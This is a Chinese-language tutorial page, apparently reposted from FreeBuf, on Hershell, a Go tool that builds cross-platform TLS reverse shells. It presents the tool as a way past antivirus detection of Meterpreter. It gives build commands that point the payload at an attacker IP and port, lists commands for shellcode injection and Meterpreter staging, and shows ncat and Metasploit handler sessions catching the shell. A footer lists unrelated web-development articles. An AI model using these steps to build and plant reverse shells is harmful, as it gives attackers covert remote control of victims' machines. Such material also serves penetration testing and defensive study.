Hershell:一款功能强大的跨平台反向Shell生成器使用教程_脚本菜鸟教程

Hershell是一款功能强大的跨平台反向Shell生成器,该工具使用Go语言开发,基于TCP反向Shell实现其功能。该工具使用了TLS来保障数据通讯的安全性,并且提供了证书公共密钥指纹绑定功能来防止通信数据被拦截。支持的系统Hershell的当前版本支持以下操作系统:Windows
Linux
macOS
FreeBSD
开发目的虽然Meterprete

Hershell:一款功能强大的跨平台反向Shell生成器使用教程

Hershell是一款功能强大的跨平台反向Shell生成器,该工具使用Go语言开发,基于TCP反向Shell实现其功能。该工具使用了TLS来保障数据通讯的安全性,并且提供了证书公共密钥指纹绑定功能来防止通信数据被拦截。

Hershell:一款功能强大的跨平台反向Shell生成器使用教程_脚本菜鸟教程

支持的系统

Hershell的当前版本支持以下操作系统:

Windows
Linux
macOS
FreeBSD

开发目的

虽然Meterpreter Payload有时也能用,但是这种方法很容易被反病毒产品检测到。因此,Hershell便应运而生,它可以给我们提供一个基于TCP的反向Shell,而且能够支持各种不同的操作系统平台。

工具使用&依赖组件

Hershell使用Go语言开发,我们首先需要按照Go官方手册【 点我获取 】在我们的设备上完成Go环境的搭建,并设置好$GOPATH环境变量。

接下来,运行下列命令来获取项目源码:

go get github.com/lesnuages/hershell

构建Payload

在构建Payload时,我们可以选择使用已提供的Makefile来完成构建。此时,我们需要设置以下环境变量:

GOOS : 目标操作系统
GOARCH : 目标架构
LHOST : 攻击者IP或主机域名
LPORT : 监听器端口

关于GOOS和GOARCH变量的设置,可以参考这篇【 文档 】。

当然了,我们也在Makefile中提供了一些可供参考的变量值:

depends : 生成服务器证书(反向Shell需要使用到)
windows32 : 构建一个32位Windows可执行程序(PE 32位)
windows64 : 构建一个64位Windows可执行程序(PE 64位)
linux32 : 构建一个32位Linux可执行程序(ELF 32位)
linux64 : 构建一个64位Linux可执行程序(ELF 64位)
macos32 : 构建一个32位macOS可执行程序(Mach-O)
macos64 : 构建一个64位macOS可执行程序(Mach-O)

针对上述列表中的目标平台,我们还需要设置LHOST和LPORT这两个环境变量。

使用反向Shell

代码开始执行之后,工具将给我们提供一个远程Shell,它是一个自定义的交互式Shell,允许我们通过Windows上的cmd.exe或Unix设备中的/bin/sh来执行系统命令。

Hershell支持的部分特定命令如下表所示:

run_shell : 获取系统Shell

inject <base64 shellcode> : 向相同进程内存中注入一个shellcode(Base64编码),并执行代码。

meterpreter [tcp|http|https] IP:PORT :与多个处理器建立连接并从Metasploit获取第二阶段的反向TCP、HTTP或HTTPS Meterpreter,然后在内存中执行Shellcode(该功能目前仅支持Windows平台)。

exit : 退出程序

工具使用

首先,我们需要使用下面的命令生成一个有效的证书:

$ make depends
openssl req -subj '/CN=yourcn.com/O=YourOrg/C=FR' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout server.key -out server.pem
Generating a 4096 bit RSA private key
....................................................................................++
.....++
writing new private key to 'server.key'
-----
cat server.key >> server.pem

针对Windows平台:

# Predifined 32 bit target
$ make windows32 LHOST=192.168.0.12 LPORT=1234
# Predifined 64 bit target
$ make windows64 LHOST=192.168.0.12 LPORT=1234

针对Linux平台:

# Predifined 32 bit target
$ make linux32 LHOST=192.168.0.12 LPORT=1234
# Predifined 64 bit target
$ make linux64 LHOST=192.168.0.12 LPORT=1234

针对macOS平台:

$ make macos LHOST=192.168.0.12 LPORT=1234

工具使用样例

基础使用

我们可以使用各种工具来处理传入的连接,比如说:

socat
ncat
openssl服务器模块
Metasploit的各种handler (python/shell_reverse_tcp_ssl payload)

下面是ncat的使用样例:

$ ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 1234
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 172.16.122.105.
Ncat: Connection from 172.16.122.105:47814.
[hershell]> whoami
desktop-3pvv31a\lab

Meterpreter场景

注意:目前该功能仅支持在Windows平台上使用。

该工具的Meterpreter使用场景目前仅支持下列Payload:

windows/meterpreter/reverse_tcp
windows/x64/meterpreter/reverse_tcp
windows/meterpreter/reverse_http
windows/x64/meterpreter/reverse_http
windows/meterpreter/reverse_https
windows/x64/meterpreter/reverse_https

当你选择使用某个Payload之后,别忘了选择正确的传输端口(tcp、http或https)。

MeterpreterHandler使用样例如下:

[14:12:45][172.16.122.105][Sessions: 0][Jobs: 0] > use exploit/multi/handler
[14:12:57][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
[14:13:12][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lhost 172.16.122.105
lhost => 172.16.122.105
[14:13:15][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lport 8443
lport => 8443
[14:13:17][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set HandlerSSLCert ./server.pem
HandlerSSLCert => ./server.pem
[14:13:26][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.

[*] [2018.01.29-14:13:29] Started HTTPS reverse handler on https://172.16.122.105:8443
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >

接下来,在hershell中,使用meterpreter命令:

[hershell]> meterpreter https 172.16.122.105:8443

此时,我们将能够在msfconsole中获取到新的Meterpreter会话:

[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >
[*] [2018.01.29-14:16:44] https://172.16.122.105:8443 handling request from 172.16.122.105; (UUID: pqzl9t5k) Staging x64 payload (206937 bytes) ...
[*] Meterpreter session 1 opened (172.16.122.105:8443 -> 172.16.122.105:44804) at 2018-01-29 14:16:44 +0100

[14:16:46][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions

Active sessions
===============

  Id  Name  Type                     Information                            Connection
  --  ----  ----                     -----------                            ----------
  1         meterpreter x64/windows  DESKTOP-3PVV31A\lab @ DESKTOP-3PVV31A  172.16.122.105:8443 -> 172.16.122.105:44804 (10.0.2.15)

[14:16:48][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: DESKTOP-3PVV31A\lab

项目地址

Hershell:【 GitHub传送门 】

原文 https://www.freebuf.com/articles/network/226491.html

海计划公众号
(0)
上一篇 2020/03/20 22:21
下一篇 2020/03/20 22:21

您可能感兴趣的内容

  • CoreUI使用帮助_漂亮的响应式后台界面模板

    CoreUI使用帮助 官方网址:https://coreui.io GitHub:https://github.com/coreui 简介描述:漂亮的响应式后台界面模板 CoreU…

    2020/03/06
  • JS中的async/await的执行顺序详解小白帮助_async小白帮助

    虽然大家知道async/await,但是很多人对这个方法中内部怎么执行的还不是很了解,本文是我看了一遍技术博客理解 JavaScript 的 async/await(如果对async/await不熟悉可以先看下http://es6.ruanyifeng.com/#docs/async)后拓展了一下,我理了一下await之后js的执行顺序,希望可以给别人解疑答

    2020/03/30
  • 如何撤销 Git 操作?小白帮助_git入门基础教程

    Git 版本管理时,往往需要撤销某些操作。本文介绍几种最主要的情况,给出详细的解释。更多的命令可以参考《常用 Git 命令清单》一文。一、撤销提交一种常见的场景是,提交代码以后,你突然意识到这个提交有问题,应该撤销掉,这时执行下面的命令就可以了。$ git revert HEAD上面命令的原理是,在当前提交后面,新增一次提交,抵消掉上一次提交导致的所有变化。

    2020/03/20
  • TypeScript 泛型的通俗解释菜鸟教程网_泛型新手入门

    在 TypeScript 中我们会使用泛型来对函数的相关类型进行约束。这里的函数,同时包含 class 的构造函数,因此,一个类的声明部分,也可以使用泛型。那么,究竟什么是泛型?如果通俗的理解泛型呢?什么是泛型泛型(Generics)是指在定义函数、接口或类的时候,不预先指定具体的类型,而在使用的时候再指定类型的一种特性。 通俗的解释,泛型是类型系统中的“

    2020/03/22
  • axios 模块化封装菜鸟教程对axios的二次封装的实现_http使用帮助

    Axios 是一个基于 promise 的 HTTP 库 ,使用了axios来进行数据的请求,一般都需要我们对它进行封装处理。Axios封装let service=axios.create({baseURL:”,timeout:5000,headers:{‘content-type’:’application/x-www-form-urlencoded’/

    2020/04/03
  • js实现每个空格替换成%20基础入门_空格入门百科

    题目描述请实现一个函数,将一个字符串中的每个空格替换成“%20”。例如,当字符串为 We Are Happy.则经过替换之后的字符串为 We%20Are%20Happy。解法 1:正则表达式第一反应肯定正则表达式,在真正项目中,肯定也会选用正则来做匹配和替换。// ac地址:https://www.nowcoder.com/practice/4060ac7e

    2020/03/23
  • Vue中 render 函数应用小白基础_render基础教程

    前言因为最近接手维护一个基于 ivew 的项目, 新增模块中包含很多自定义功能, 所以大量使用到了 render 函数; 故对其做一下总结…关于 render 函数, 官方文档也做了比较详细的介绍: render 函数: https://cn.vuejs.org/v2/guide… ; 一般组件我们都是用 template模板的方式去写; 有时候会造

    2020/03/24
  • 一个完整URL的组成基础指南_url入门百科

    一、什么是URL/URN/URIURI=URL+URNURI:统一资源标识符URL:统一资源定位符URN:统一资源名称二、传输协议用来传输客户端和服务器端交互的信息的(类似于快递小哥)HTTP(顺丰):超文本传输协议(除了传递普通的文本,还可以传递文件流或者进制编码等信息),是目前最常用的WEB传输协议HTTPS(邮政):基于SSL(Secure Socke

    2020/03/23
  • CSS position 属性基础入门css中常用position定位属性介绍_布局基础教程

    css可以通过为元素设置一个position属性值,从而达到将不同的元素显示在不同的位置, position定位是指定位置的定位,以下为常用的几种:1、static(静态定位):这个是元素的默认定位方式,元素出现在正常的文档流中,会占用页面空间。也就是按照文档的书写布局自动分配在一个合适的地方,这种定位方式用margin来改变位置,不能使用top,botto

    2020/04/05
  • React组件设计模式-Provider-Consumer菜鸟指南_组件入门基础知识

    我们都知道,基于props做组件的跨层级数据传递是非常困难并且麻烦的,中间层组件要为了传递数据添加一些无用的props。而React自身早已提供了context API来解决这种问题,但是16.3.0之前官方都建议不要使用,认为会迟早会被废弃掉。说归说,很多库已经采用了context API。可见呼声由多么强烈。终于在16.3.0之后的版本,React正式提

    2020/03/30
  • zhengAdmin入门教程_基于bootstrap实现的响应式Material Design风格的通用后台管理系统

    zhengAdmin入门教程 官方网址:http://www.zhangshuzheng.cn/zhengAdmin GitHub:https://github.com/shuzh…

    2020/03/08
  • 从 React 切换到 Vue.js入门百科_React使用教程

    从 React 切换到 Vue.js入门百科 React 和 Vue 的关系有点像可口可乐和百事可乐,你在 React 中做的很多事情都可以在 Vue 中完成。当然这里也存在一些重…

    2020/03/20
  • cms.js入门指南_基于JavaScript的Markdown Site生成器

    cms.js入门指南 官方网址:http://chrisdiana.github.io/cms.js GitHub:https://github.com/chrisdiana/cm…

    2020/03/06
  • Js:高效使用数组的方法入门基础教程_数组使用指南

    要在给定数组上使用方法,只需要通过[].方法名即可,这些方法都定义在 Array.prototype 对象上。在这里,咱们先不使用这些相,反,咱们将从简单的方法开始定义自己的版本,并在这些版本的基础上进行构建。没有比把东西拆开再重新组装起来更好的学习方法了。注意,当咱们的实现自己的方法时,不要覆盖现有的方法,因为有的库需要它们,并且这样也方便比较咱们自己的方

    2020/03/26
  • 一个web前端工程师到底需要掌握哪些技能?基础知识_技能零基础入门

    对于前端基础需要学习哪些内容,之前文章已经有写过不少了,本篇重在谈论:作为一名前端想要晋升,需要什么条件?现在在用 React,要不要也学学 Vue?有必要学习 Node.js/Flutter/ 函数式吗?这几个问题看似毫无关联,但是其实它们本质上都是同一个问题,这个问题就是“一个前端工程师到底需要掌握哪些技能?”其实在行业里面,对前端工程师的能力模型有一个

    2020/03/26
  • TypeScript数字分隔符和更严格的类属性检查入门攻略_属性指南教程

    TypeScript 2.4 为标识符实现了拼写纠正机制。即使咱们稍微拼错了一个变量、属性或函数名,TypeScript 在很多情况下都可以提示正确的拼写。TypeScript 2.7 支持 ECMAScript 的数字分隔符提案。 这个特性允许用户在数字之间使用下划线(_)来对数字分组(就像使用逗号和点来对数字分组那样)。const worldPopula

    2020/03/22